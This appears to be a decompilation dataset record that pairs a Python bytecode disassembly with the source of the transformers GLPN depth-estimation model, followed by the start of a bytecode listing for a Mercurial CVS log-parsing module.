LOAD_GLOBAL torch LOAD_METHOD sigmoid LOAD_FAST hidden_states CALL_METHOD LOAD_FAST self LOAD_ATTR config LOAD_ATTR max_depth BINARY_MULTIPLY STORE_FAST predicted_depth LOAD_FAST predicted_depth LOAD_ATTR squeeze LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST predicted_depth LOAD_FAST predicted_depth RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNForDepthEstimation' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804af60, file "f.py", line 725> LOAD_CONST 'GLPNForDepthEstimation.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME add_start_docstrings_to_model_forward LOAD_NAME GLPN_INPUTS_DOCSTRING LOAD_METHOD format LOAD_CONST 'batch_size, sequence_length' CALL_METHOD CALL_FUNCTION LOAD_NAME replace_return_docstrings LOAD_NAME DepthEstimatorOutput LOAD_NAME _CONFIG_FOR_DOC LOAD_CONST ('output_type', 'config_class') CALL_FUNCTION LOAD_CONST (None, None, None, None) LOAD_NAME torch LOAD_ATTR FloatTensor LOAD_NAME Optional LOAD_NAME torch LOAD_ATTR FloatTensor BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME torch LOAD_ATTR Tensor BINARY_SUBSCR LOAD_NAME DepthEstimatorOutput BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('pixel_values', 'labels', 'output_attentions', 'output_hidden_states', 'return_dict', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fa6d804ad20, file "f.py", line 734> LOAD_CONST 'GLPNForDepthEstimation.forward' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_GLOBAL GLPNModel LOAD_FAST config CALL_FUNCTION LOAD_FAST self STORE_ATTR glpn LOAD_GLOBAL GLPNDecoder LOAD_FAST config CALL_FUNCTION LOAD_FAST self STORE_ATTR decoder LOAD_GLOBAL GLPNDepthEstimationHead LOAD_FAST config CALL_FUNCTION LOAD_FAST self STORE_ATTR head LOAD_FAST self LOAD_METHOD post_init CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST return_dict LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST return_dict JUMP_FORWARD to 18 LOAD_FAST self LOAD_ATTR config LOAD_ATTR use_return_dict STORE_FAST return_dict LOAD_FAST output_hidden_states LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST output_hidden_states JUMP_FORWARD to 38 LOAD_FAST self LOAD_ATTR config LOAD_ATTR output_hidden_states STORE_FAST output_hidden_states LOAD_FAST self LOAD_ATTR glpn LOAD_FAST pixel_values LOAD_FAST output_attentions LOAD_CONST True LOAD_FAST return_dict LOAD_CONST ('output_attentions', 'output_hidden_states', 'return_dict') CALL_FUNCTION STORE_FAST outputs LOAD_FAST return_dict POP_JUMP_IF_FALSE LOAD_FAST outputs LOAD_ATTR hidden_states JUMP_FORWARD to 74 LOAD_FAST outputs LOAD_CONST 1 BINARY_SUBSCR STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD decoder LOAD_FAST hidden_states CALL_METHOD STORE_FAST out LOAD_FAST self LOAD_METHOD head LOAD_FAST out CALL_METHOD STORE_FAST predicted_depth LOAD_CONST None STORE_FAST loss LOAD_FAST labels LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL SiLogLoss CALL_FUNCTION STORE_FAST loss_fct LOAD_FAST loss_fct LOAD_FAST predicted_depth LOAD_FAST labels CALL_FUNCTION STORE_FAST loss LOAD_FAST return_dict POP_JUMP_IF_TRUE LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST predicted_depth BUILD_TUPLE LOAD_FAST outputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST output JUMP_FORWARD to 170 LOAD_FAST predicted_depth BUILD_TUPLE LOAD_FAST outputs LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST output LOAD_FAST loss LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST loss BUILD_TUPLE LOAD_FAST output BINARY_ADD RETURN_VALUE LOAD_FAST output RETURN_VALUE LOAD_GLOBAL DepthEstimatorOutput LOAD_FAST loss LOAD_FAST predicted_depth LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST outputs LOAD_ATTR hidden_states JUMP_FORWARD to 210 LOAD_CONST None LOAD_FAST outputs LOAD_ATTR attentions LOAD_CONST ('loss', 'predicted_depth', 'hidden_states', 'attentions') CALL_FUNCTION RETURN_VALUE
""" PyTorch GLPN model.""" import math from typing import List, Optional, Tuple, Union import torch import torch.utils.checkpoint from torch import nn from ...activations import ACT2FN from ...modeling_outputs import BaseModelOutput, DepthEstimatorOutput from ...modeling_utils import PreTrainedModel from ...pytorch_utils import find_pruneable_heads_and_indices, prune_linear_layer from ...utils import ( add_code_sample_docstrings, add_start_docstrings, add_start_docstrings_to_model_forward, logging, replace_return_docstrings, ) from .configuration_glpn import GLPNConfig logger = logging.get_logger(__name__) _CONFIG_FOR_DOC = "GLPNConfig" _CHECKPOINT_FOR_DOC = "vinvino02/glpn-kitti" _EXPECTED_OUTPUT_SHAPE = [1, 512, 15, 20] GLPN_PRETRAINED_MODEL_ARCHIVE_LIST = [ "vinvino02/glpn-kitti", ] def drop_path( input: torch.Tensor, drop_prob: float = 0.0, training: bool = False ) -> torch.Tensor: """ Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks). Comment by Ross Wightman: This is the same as the DropConnect impl I created for EfficientNet, etc networks, however, the original name is misleading as 'Drop Connect' is a different form of dropout in a separate paper... See discussion: https://github.com/tensorflow/tpu/issues/494#issuecomment-532968956 ... I've opted for changing the layer and argument names to 'drop path' rather than mix DropConnect as a layer name and use 'survival rate' as the argument. """ if drop_prob == 0.0 or not training: return input keep_prob = 1 - drop_prob shape = (input.shape[0],) + (1,) * ( input.ndim - 1 ) # work with diff dim tensors, not just 2D ConvNets random_tensor = keep_prob + torch.rand( shape, dtype=input.dtype, device=input.device ) random_tensor.floor_() # binarize output = input.div(keep_prob) * random_tensor return output class GLPNDropPath(nn.Module): """Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).""" def __init__(self, drop_prob: Optional[float] = None) -> None: super().__init__() self.drop_prob = drop_prob def forward(self, hidden_states: torch.Tensor) -> torch.Tensor: return drop_path(hidden_states, self.drop_prob, self.training) def extra_repr(self) -> str: return "p={}".format(self.drop_prob) class GLPNOverlapPatchEmbeddings(nn.Module): """Construct the overlapping patch embeddings.""" def __init__(self, patch_size, stride, num_channels, hidden_size): super().__init__() self.proj = nn.Conv2d( num_channels, hidden_size, kernel_size=patch_size, stride=stride, padding=patch_size // 2, ) self.layer_norm = nn.LayerNorm(hidden_size) def forward(self, pixel_values): embeddings = self.proj(pixel_values) _, _, height, width = embeddings.shape embeddings = embeddings.flatten(2).transpose(1, 2) embeddings = self.layer_norm(embeddings) return embeddings, height, width class GLPNEfficientSelfAttention(nn.Module): """SegFormer's efficient self-attention mechanism. Employs the sequence reduction process introduced in the [PvT paper](https://arxiv.org/abs/2102.12122).""" def __init__( self, config, hidden_size, num_attention_heads, sequence_reduction_ratio ): super().__init__() self.hidden_size = hidden_size self.num_attention_heads = num_attention_heads if self.hidden_size % self.num_attention_heads != 0: raise ValueError( f"The hidden size ({self.hidden_size}) is not a multiple of the number of attention " f"heads ({self.num_attention_heads})" ) self.attention_head_size = int(self.hidden_size / self.num_attention_heads) self.all_head_size = self.num_attention_heads * self.attention_head_size self.query = nn.Linear(self.hidden_size, self.all_head_size) self.key = nn.Linear(self.hidden_size, self.all_head_size) self.value = nn.Linear(self.hidden_size, self.all_head_size) self.dropout = nn.Dropout(config.attention_probs_dropout_prob) self.sr_ratio = sequence_reduction_ratio if sequence_reduction_ratio > 1: self.sr = nn.Conv2d( hidden_size, hidden_size, kernel_size=sequence_reduction_ratio, stride=sequence_reduction_ratio, ) self.layer_norm = nn.LayerNorm(hidden_size) def transpose_for_scores(self, hidden_states): new_shape = hidden_states.size()[:-1] + ( self.num_attention_heads, self.attention_head_size, ) hidden_states = hidden_states.view(new_shape) return hidden_states.permute(0, 2, 1, 3) def forward( self, hidden_states, height, width, output_attentions=False, ): query_layer = self.transpose_for_scores(self.query(hidden_states)) if self.sr_ratio > 1: batch_size, seq_len, num_channels = hidden_states.shape hidden_states = hidden_states.permute(0, 2, 1).reshape( batch_size, num_channels, height, width ) hidden_states = self.sr(hidden_states) hidden_states = hidden_states.reshape(batch_size, num_channels, -1).permute( 0, 2, 1 ) hidden_states = self.layer_norm(hidden_states) key_layer = self.transpose_for_scores(self.key(hidden_states)) value_layer = self.transpose_for_scores(self.value(hidden_states)) attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2)) attention_scores = attention_scores / math.sqrt(self.attention_head_size) attention_probs = nn.functional.softmax(attention_scores, dim=-1) attention_probs = self.dropout(attention_probs) context_layer = torch.matmul(attention_probs, value_layer) context_layer = context_layer.permute(0, 2, 1, 3).contiguous() new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,) context_layer = context_layer.view(new_context_layer_shape) outputs = ( (context_layer, attention_probs) if output_attentions else (context_layer,) ) return outputs class GLPNSelfOutput(nn.Module): def __init__(self, config, hidden_size): super().__init__() self.dense = nn.Linear(hidden_size, hidden_size) self.dropout = nn.Dropout(config.hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) return hidden_states class GLPNAttention(nn.Module): def __init__( self, config, hidden_size, num_attention_heads, sequence_reduction_ratio ): super().__init__() self.self = GLPNEfficientSelfAttention( config=config, hidden_size=hidden_size, num_attention_heads=num_attention_heads, sequence_reduction_ratio=sequence_reduction_ratio, ) self.output = GLPNSelfOutput(config, hidden_size=hidden_size) self.pruned_heads = set() def prune_heads(self, heads): if len(heads) == 0: return heads, index = find_pruneable_heads_and_indices( heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads, ) self.self.query = prune_linear_layer(self.self.query, index) self.self.key = prune_linear_layer(self.self.key, index) self.self.value = prune_linear_layer(self.self.value, index) self.output.dense = prune_linear_layer(self.output.dense, index, dim=1) self.self.num_attention_heads = self.self.num_attention_heads - len(heads) self.self.all_head_size = ( self.self.attention_head_size * self.self.num_attention_heads ) self.pruned_heads = self.pruned_heads.union(heads) def forward(self, hidden_states, height, width, output_attentions=False): self_outputs = self.self(hidden_states, height, width, output_attentions) attention_output = self.output(self_outputs[0], hidden_states) outputs = (attention_output,) + self_outputs[ 1: ] # add attentions if we output them return outputs class GLPNDWConv(nn.Module): def __init__(self, dim=768): super().__init__() self.dwconv = nn.Conv2d(dim, dim, 3, 1, 1, bias=True, groups=dim) def forward(self, hidden_states, height, width): batch_size, seq_len, num_channels = hidden_states.shape hidden_states = hidden_states.transpose(1, 2).view( batch_size, num_channels, height, width ) hidden_states = self.dwconv(hidden_states) hidden_states = hidden_states.flatten(2).transpose(1, 2) return hidden_states class GLPNMixFFN(nn.Module): def __init__(self, config, in_features, hidden_features=None, out_features=None): super().__init__() out_features = out_features or in_features self.dense1 = nn.Linear(in_features, hidden_features) self.dwconv = GLPNDWConv(hidden_features) if isinstance(config.hidden_act, str): self.intermediate_act_fn = ACT2FN[config.hidden_act] else: self.intermediate_act_fn = config.hidden_act self.dense2 = nn.Linear(hidden_features, out_features) self.dropout = nn.Dropout(config.hidden_dropout_prob) def forward(self, hidden_states, height, width): hidden_states = self.dense1(hidden_states) hidden_states = self.dwconv(hidden_states, height, width) hidden_states = self.intermediate_act_fn(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.dense2(hidden_states) hidden_states = self.dropout(hidden_states) return hidden_states class GLPNLayer(nn.Module): """This corresponds to the Block class in the original implementation.""" def __init__( self, config, hidden_size, num_attention_heads, drop_path, sequence_reduction_ratio, mlp_ratio, ): super().__init__() self.layer_norm_1 = nn.LayerNorm(hidden_size) self.attention = GLPNAttention( config, hidden_size=hidden_size, num_attention_heads=num_attention_heads, sequence_reduction_ratio=sequence_reduction_ratio, ) self.drop_path = GLPNDropPath(drop_path) if drop_path > 0.0 else nn.Identity() self.layer_norm_2 = nn.LayerNorm(hidden_size) mlp_hidden_size = int(hidden_size * mlp_ratio) self.mlp = GLPNMixFFN( config, in_features=hidden_size, hidden_features=mlp_hidden_size ) def forward(self, hidden_states, height, width, output_attentions=False): self_attention_outputs = self.attention( self.layer_norm_1( hidden_states ), # in GLPN, layernorm is applied before self-attention height, width, output_attentions=output_attentions, ) attention_output = self_attention_outputs[0] outputs = self_attention_outputs[ 1: ] # add self attentions if we output attention weights attention_output = self.drop_path(attention_output) hidden_states = attention_output + hidden_states mlp_output = self.mlp(self.layer_norm_2(hidden_states), height, width) mlp_output = self.drop_path(mlp_output) layer_output = mlp_output + hidden_states outputs = (layer_output,) + outputs return outputs class GLPNEncoder(nn.Module): def __init__(self, config): super().__init__() self.config = config dpr = [ x.item() for x in torch.linspace(0, config.drop_path_rate, sum(config.depths)) ] embeddings = [] for i in range(config.num_encoder_blocks): embeddings.append( GLPNOverlapPatchEmbeddings( patch_size=config.patch_sizes[i], stride=config.strides[i], num_channels=( config.num_channels if i == 0 else config.hidden_sizes[i - 1] ), hidden_size=config.hidden_sizes[i], ) ) self.patch_embeddings = nn.ModuleList(embeddings) blocks = [] cur = 0 for i in range(config.num_encoder_blocks): layers = [] if i != 0: cur += config.depths[i - 1] for j in range(config.depths[i]): layers.append( GLPNLayer( config, hidden_size=config.hidden_sizes[i], num_attention_heads=config.num_attention_heads[i], drop_path=dpr[cur + j], sequence_reduction_ratio=config.sr_ratios[i], mlp_ratio=config.mlp_ratios[i], ) ) blocks.append(nn.ModuleList(layers)) self.block = nn.ModuleList(blocks) self.layer_norm = nn.ModuleList( [ nn.LayerNorm(config.hidden_sizes[i]) for i in range(config.num_encoder_blocks) ] ) def forward( self, pixel_values, output_attentions=False, output_hidden_states=False, return_dict=True, ): all_hidden_states = () if output_hidden_states else None all_self_attentions = () if output_attentions else None batch_size = pixel_values.shape[0] hidden_states = pixel_values for idx, x in enumerate( zip(self.patch_embeddings, self.block, self.layer_norm) ): embedding_layer, block_layer, norm_layer = x hidden_states, height, width = embedding_layer(hidden_states) for i, blk in enumerate(block_layer): layer_outputs = blk(hidden_states, height, width, output_attentions) hidden_states = layer_outputs[0] if output_attentions: all_self_attentions = all_self_attentions + (layer_outputs[1],) hidden_states = norm_layer(hidden_states) hidden_states = ( hidden_states.reshape(batch_size, height, width, -1) .permute(0, 3, 1, 2) .contiguous() ) if output_hidden_states: all_hidden_states = all_hidden_states + (hidden_states,) if not return_dict: return tuple( v for v in [hidden_states, all_hidden_states, all_self_attentions] if v is not None ) return BaseModelOutput( last_hidden_state=hidden_states, hidden_states=all_hidden_states, attentions=all_self_attentions, ) class GLPNPreTrainedModel(PreTrainedModel): """ An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained models. """ config_class = GLPNConfig base_model_prefix = "glpn" main_input_name = "pixel_values" def _init_weights(self, module): """Initialize the weights""" if isinstance(module, (nn.Linear, nn.Conv2d)): module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.bias is not None: module.bias.data.zero_() elif isinstance(module, nn.Embedding): module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.padding_idx is not None: module.weight.data[module.padding_idx].zero_() elif isinstance(module, nn.LayerNorm): module.bias.data.zero_() module.weight.data.fill_(1.0) GLPN_START_DOCSTRING = r""" This model is a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) sub-class. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and behavior. Parameters: config ([`GLPNConfig`]): Model configuration class with all the parameters of the model. Initializing with a config file does not load the weights associated with the model, only the configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights. """ GLPN_INPUTS_DOCSTRING = r""" Args: pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`): Pixel values. Padding will be ignored by default should you provide it. Pixel values can be obtained using [`AutoImageProcessor`]. See [`GLPNImageProcessor.__call__`] for details. output_attentions (`bool`, *optional*): Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned tensors for more detail. output_hidden_states (`bool`, *optional*): Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for more detail. return_dict (`bool`, *optional*): Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple. """ @add_start_docstrings( "The bare GLPN encoder (Mix-Transformer) outputting raw hidden-states without any specific head on top.", GLPN_START_DOCSTRING, ) class GLPNModel(GLPNPreTrainedModel): def __init__(self, config): super().__init__(config) self.config = config self.encoder = GLPNEncoder(config) self.post_init() def _prune_heads(self, heads_to_prune): """ Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base class PreTrainedModel """ for layer, heads in heads_to_prune.items(): self.encoder.layer[layer].attention.prune_heads(heads) @add_start_docstrings_to_model_forward( GLPN_INPUTS_DOCSTRING.format("(batch_size, sequence_length)") ) @add_code_sample_docstrings( checkpoint=_CHECKPOINT_FOR_DOC, output_type=BaseModelOutput, config_class=_CONFIG_FOR_DOC, modality="vision", expected_output=_EXPECTED_OUTPUT_SHAPE, ) def forward( self, pixel_values: torch.FloatTensor, output_attentions: Optional[bool] = None, output_hidden_states: Optional[bool] = None, return_dict: Optional[bool] = None, ) -> Union[Tuple, BaseModelOutput]: output_attentions = ( output_attentions if output_attentions is not None else self.config.output_attentions ) output_hidden_states = ( output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states ) return_dict = ( return_dict if return_dict is not None else self.config.use_return_dict ) encoder_outputs = self.encoder( pixel_values, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = encoder_outputs[0] if not return_dict: return (sequence_output,) + encoder_outputs[1:] return BaseModelOutput( last_hidden_state=sequence_output, hidden_states=encoder_outputs.hidden_states, attentions=encoder_outputs.attentions, ) class GLPNSelectiveFeatureFusion(nn.Module): """ Selective Feature Fusion module, as explained in the [paper](https://arxiv.org/abs/2201.07436) (section 3.4). This module adaptively selects and integrates local and global features by attaining an attention map for each feature. """ def __init__(self, in_channel=64): super().__init__() self.convolutional_layer1 = nn.Sequential( nn.Conv2d( in_channels=int(in_channel * 2), out_channels=in_channel, kernel_size=3, stride=1, padding=1, ), nn.BatchNorm2d(in_channel), nn.ReLU(), ) self.convolutional_layer2 = nn.Sequential( nn.Conv2d( in_channels=in_channel, out_channels=int(in_channel / 2), kernel_size=3, stride=1, padding=1, ), nn.BatchNorm2d(int(in_channel / 2)), nn.ReLU(), ) self.convolutional_layer3 = nn.Conv2d( in_channels=int(in_channel / 2), out_channels=2, kernel_size=3, stride=1, padding=1, ) self.sigmoid = nn.Sigmoid() def forward(self, local_features, global_features): features = torch.cat((local_features, global_features), dim=1) features = self.convolutional_layer1(features) features = self.convolutional_layer2(features) features = self.convolutional_layer3(features) attn = self.sigmoid(features) hybrid_features = local_features * attn[:, 0, :, :].unsqueeze( 1 ) + global_features * attn[:, 1, :, :].unsqueeze(1) return hybrid_features class GLPNDecoderStage(nn.Module): def __init__(self, in_channels, out_channels): super().__init__() should_skip = in_channels == out_channels self.convolution = ( nn.Conv2d(in_channels, out_channels, kernel_size=1) if not should_skip else nn.Identity() ) self.fusion = GLPNSelectiveFeatureFusion(out_channels) self.upsample = nn.Upsample( scale_factor=2, mode="bilinear", align_corners=False ) def forward(self, hidden_state, residual=None): hidden_state = self.convolution(hidden_state) if residual is not None: hidden_state = self.fusion(hidden_state, residual) hidden_state = self.upsample(hidden_state) return hidden_state hidden_state = self.upsample(hidden_state) return hidden_state class GLPNDecoder(nn.Module): def __init__(self, config): super().__init__() reserved_hidden_sizes = config.hidden_sizes[::-1] out_channels = config.decoder_hidden_size self.stages = nn.ModuleList( [ GLPNDecoderStage(hidden_size, out_channels) for hidden_size in reserved_hidden_sizes ] ) self.stages[0].fusion = None self.final_upsample = nn.Upsample( scale_factor=2, mode="bilinear", align_corners=False ) def forward(self, hidden_states: List[torch.Tensor]) -> List[torch.Tensor]: stage_hidden_states = [] stage_hidden_state = None for hidden_state, stage in zip(hidden_states[::-1], self.stages): stage_hidden_state = stage(hidden_state, stage_hidden_state) stage_hidden_states.append(stage_hidden_state) stage_hidden_states[-1] = self.final_upsample(stage_hidden_state) return stage_hidden_states class SiLogLoss(nn.Module): r""" Implements the Scale-invariant log scale loss [Eigen et al., 2014](https://arxiv.org/abs/1406.2283). $$L=\frac{1}{n} \sum_{i} d_{i}^{2}-\frac{1}{2 n^{2}}\left(\sum_{i} d_{i}^{2}\right)$$ where $d_{i}=\log y_{i}-\log y_{i}^{*}$. """ def __init__(self, lambd=0.5): super().__init__() self.lambd = lambd def forward(self, pred, target): valid_mask = (target > 0).detach() diff_log = torch.log(target[valid_mask]) - torch.log(pred[valid_mask]) loss = torch.sqrt( torch.pow(diff_log, 2).mean() - self.lambd * torch.pow(diff_log.mean(), 2) ) return loss class GLPNDepthEstimationHead(nn.Module): def __init__(self, config): super().__init__() self.config = config channels = config.decoder_hidden_size self.head = nn.Sequential( nn.Conv2d(channels, channels, kernel_size=3, stride=1, padding=1), nn.ReLU(inplace=False), nn.Conv2d(channels, 1, kernel_size=3, stride=1, padding=1), ) def forward(self, hidden_states: List[torch.Tensor]) -> torch.Tensor: hidden_states = hidden_states[self.config.head_in_index] hidden_states = self.head(hidden_states) predicted_depth = torch.sigmoid(hidden_states) * self.config.max_depth predicted_depth = predicted_depth.squeeze(dim=1) return predicted_depth @add_start_docstrings( """GLPN Model transformer with a lightweight depth estimation head on top e.g. for KITTI, NYUv2.""", GLPN_START_DOCSTRING, ) class GLPNForDepthEstimation(GLPNPreTrainedModel): def __init__(self, config): super().__init__(config) self.glpn = GLPNModel(config) self.decoder = GLPNDecoder(config) self.head = GLPNDepthEstimationHead(config) self.post_init() @add_start_docstrings_to_model_forward( GLPN_INPUTS_DOCSTRING.format("batch_size, sequence_length") ) @replace_return_docstrings( output_type=DepthEstimatorOutput, config_class=_CONFIG_FOR_DOC ) def forward( self, pixel_values: torch.FloatTensor, labels: Optional[torch.FloatTensor] = None, output_attentions: Optional[bool] = None, output_hidden_states: Optional[bool] = None, return_dict: Optional[bool] = None, ) -> Union[Tuple[torch.Tensor], DepthEstimatorOutput]: r""" labels (`torch.FloatTensor` of shape `(batch_size, height, width)`, *optional*): Ground truth depth estimation maps for computing the loss. Returns: Examples: ```python >>> from transformers import AutoImageProcessor, GLPNForDepthEstimation >>> import torch >>> import numpy as np >>> from PIL import Image >>> import requests >>> url = "http://images.cocodataset.org/val2017/000000039769.jpg" >>> image = Image.open(requests.get(url, stream=True).raw) >>> image_processor = AutoImageProcessor.from_pretrained("vinvino02/glpn-kitti") >>> model = GLPNForDepthEstimation.from_pretrained("vinvino02/glpn-kitti") >>> # prepare image for the model >>> inputs = image_processor(images=image, return_tensors="pt") >>> with torch.no_grad(): ... outputs = model(**inputs) ... predicted_depth = outputs.predicted_depth >>> # interpolate to original size >>> prediction = torch.nn.functional.interpolate( ... predicted_depth.unsqueeze(1), ... size=image.size[::-1], ... mode="bicubic", ... align_corners=False, ... ) >>> # visualize the prediction >>> output = prediction.squeeze().cpu().numpy() >>> formatted = (output * 255 / np.max(output)).astype("uint8") >>> depth = Image.fromarray(formatted) ```""" return_dict = ( return_dict if return_dict is not None else self.config.use_return_dict ) output_hidden_states = ( output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states ) outputs = self.glpn( pixel_values, output_attentions=output_attentions, output_hidden_states=True, # we need the intermediate hidden states return_dict=return_dict, ) hidden_states = outputs.hidden_states if return_dict else outputs[1] out = self.decoder(hidden_states) predicted_depth = self.head(out) loss = None if labels is not None: loss_fct = SiLogLoss() loss = loss_fct(predicted_depth, labels) if not return_dict: if output_hidden_states: output = (predicted_depth,) + outputs[1:] else: output = (predicted_depth,) + outputs[2:] return ((loss,) + output) if loss is not None else output return DepthEstimatorOutput( loss=loss, predicted_depth=predicted_depth, hidden_states=outputs.hidden_states if output_hidden_states else None, attentions=outputs.attentions, )
data/transformers-4.37.2/src/transformers/models/glpn/modeling_glpn.py
14,651
8,997
50,408
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_NAME pickle LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST ('_',) IMPORT_NAME mercurial.i18n IMPORT_FROM _ STORE_NAME _ POP_TOP LOAD_CONST 0 LOAD_CONST ('open',) IMPORT_NAME mercurial.pycompat IMPORT_FROM open STORE_NAME open POP_TOP LOAD_CONST 0 LOAD_CONST ('encoding', 'error', 'hook', 'pycompat', 'util') IMPORT_NAME mercurial IMPORT_FROM encoding STORE_NAME encoding IMPORT_FROM error STORE_NAME error IMPORT_FROM hook STORE_NAME hook IMPORT_FROM pycompat STORE_NAME pycompat IMPORT_FROM util STORE_NAME util POP_TOP LOAD_CONST 0 LOAD_CONST ('dateutil', 'procutil', 'stringutil') IMPORT_NAME mercurial.utils IMPORT_FROM dateutil STORE_NAME dateutil IMPORT_FROM procutil STORE_NAME procutil IMPORT_FROM stringutil STORE_NAME stringutil POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object logentry at 0x7fab821324b0, file "f.py", line 22> LOAD_CONST 'logentry' MAKE_FUNCTION LOAD_CONST 'logentry' CALL_FUNCTION STORE_NAME logentry LOAD_BUILD_CLASS LOAD_CONST <code object logerror at 0x7fab821329c0, file "f.py", line 52> LOAD_CONST 'logerror' MAKE_FUNCTION LOAD_CONST 'logerror' LOAD_NAME Exception CALL_FUNCTION STORE_NAME logerror LOAD_CONST <code object getrepopath at 0x7fab821321e0, file "f.py", line 56> LOAD_CONST 'getrepopath' MAKE_FUNCTION STORE_NAME getrepopath LOAD_CONST (None, b'', True, None) LOAD_CONST <code object createlog at 0x7fab8018a030, file "f.py", line 90> LOAD_CONST 'createlog' MAKE_FUNCTION STORE_NAME createlog LOAD_BUILD_CLASS LOAD_CONST <code object changeset at 0x7fab8018ac00, file "f.py", line 498> LOAD_CONST 'changeset' MAKE_FUNCTION LOAD_CONST 'changeset' CALL_FUNCTION STORE_NAME changeset LOAD_CONST (60, None, None) LOAD_CONST <code object createchangeset at 0x7fab8018aed0, file "f.py", line 524> LOAD_CONST 'createchangeset' MAKE_FUNCTION STORE_NAME createchangeset LOAD_CONST <code object debugcvsps at 0x7fab822e8150, file "f.py", line 794> LOAD_CONST 'debugcvsps' MAKE_FUNCTION STORE_NAME debugcvsps LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'logentry' STORE_NAME __qualname__ LOAD_CONST 'Class logentry has the following attributes:\n .author - author name as CVS knows it\n .branch - name of branch this revision is on\n .branches - revision tuple of branches starting at this revision\n .comment - commit message\n .commitid - CVS commitid or None\n .date - the commit date as a (time, tz) tuple\n .dead - true if file revision is dead\n .file - Name of file\n .lines - a tuple (+lines, -lines) or None\n .parent - Previous revision of this entry\n .rcs - name of file as returned from CVS\n .revision - revision number as tuple\n .tags - list of tags on the file\n .synthetic - is this a synthetic "file ... added on ..." revision?\n .mergepoint - the branch that has been merged from (if present in\n rlog output) or None\n .branchpoints - the branches that start at the current entry or empty\n ' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fab82132540, file "f.py", line 43> LOAD_CONST 'logentry.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __repr__ at 0x7fab82132a50, file "f.py", line 47> LOAD_CONST 'logentry.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST None RETURN_VALUE LOAD_CONST False LOAD_FAST self STORE_ATTR synthetic LOAD_FAST self LOAD_ATTR __dict__ LOAD_METHOD update LOAD_FAST entries CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab821320c0, file "f.py", line 48> LOAD_CONST 'logentry.__repr__.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL sorted LOAD_DEREF self LOAD_ATTR __dict__ CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST items LOAD_CONST '%s(%s)' LOAD_GLOBAL type LOAD_DEREF self CALL_FUNCTION LOAD_ATTR __name__ LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST items CALL_METHOD BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST k LOAD_CONST '%s=%r' LOAD_FAST k LOAD_DEREF self LOAD_ATTR __dict__ LOAD_FAST k BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'logerror' STORE_NAME __qualname__ 